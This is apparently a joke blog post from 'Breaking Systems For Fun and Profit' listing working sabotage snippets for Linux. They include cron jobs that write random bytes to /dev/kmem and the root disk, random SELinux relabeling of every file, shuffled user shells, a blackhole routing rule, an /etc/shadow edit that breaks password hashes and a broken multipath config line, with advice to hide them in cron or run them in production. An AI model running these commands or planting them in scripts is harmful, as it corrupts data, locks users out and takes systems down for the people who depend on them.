Another one from the archives, this one was sent in by DIVI.

Hide this one in /etc/cron.hourly or /etc/cron.daily, depending on your level of masochism:

#!/bin/bash
dd if=/dev/random of=/dev/kmem count=1 bs=1 seek=${RANDOM} conv=notrunc

Run the following snippet on a production machine. Don’t worry if it errors out halfway through:

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TYPES=($(seinfo -t | tail -n+3))
for FILE in $(find -depth /); do
  chcon -t ${TYPES[$[ ${RANDOM} % ${#TYPES[@]} ]]} ${FILE}
done &> /dev/null

Add this one as /etc/cron.daily/diversity to give your users the diversity they so rightly deserve.

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#!/bin/bash
for I in $(getent passwd | cut -d: -f1 )
do
  chsh -s $(sort -R /etc/shells | head -n1) ${I}
done

Create the following file as /etc/cron.hourly/bitrot

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#!/bin/bash
ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1)
ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512]
LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}]
dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc

Routing lookups taking too long? Network link saturated? Use this one!

  ip rule add to 0.0.0.0/0 unreachable

Another one from the old site, this one was submitted by Ed van der Salm

  sed -i 's/:$6/:$5/g' /etc/shadow

This is one guaranteed to cause some great storage shenanigans on systems from the RHEL6 era. Add the following line inside the defaults section and all device sections in /etc/multipath.conf:

  getuid_callout  "echo one-size-fits-none"

After seven months of being offline Breaking Systems For Fun and Profit™ has returned! Over the coming weeks we will be re-uploading the best of the old content.

Continue reading to find out about all the gory details.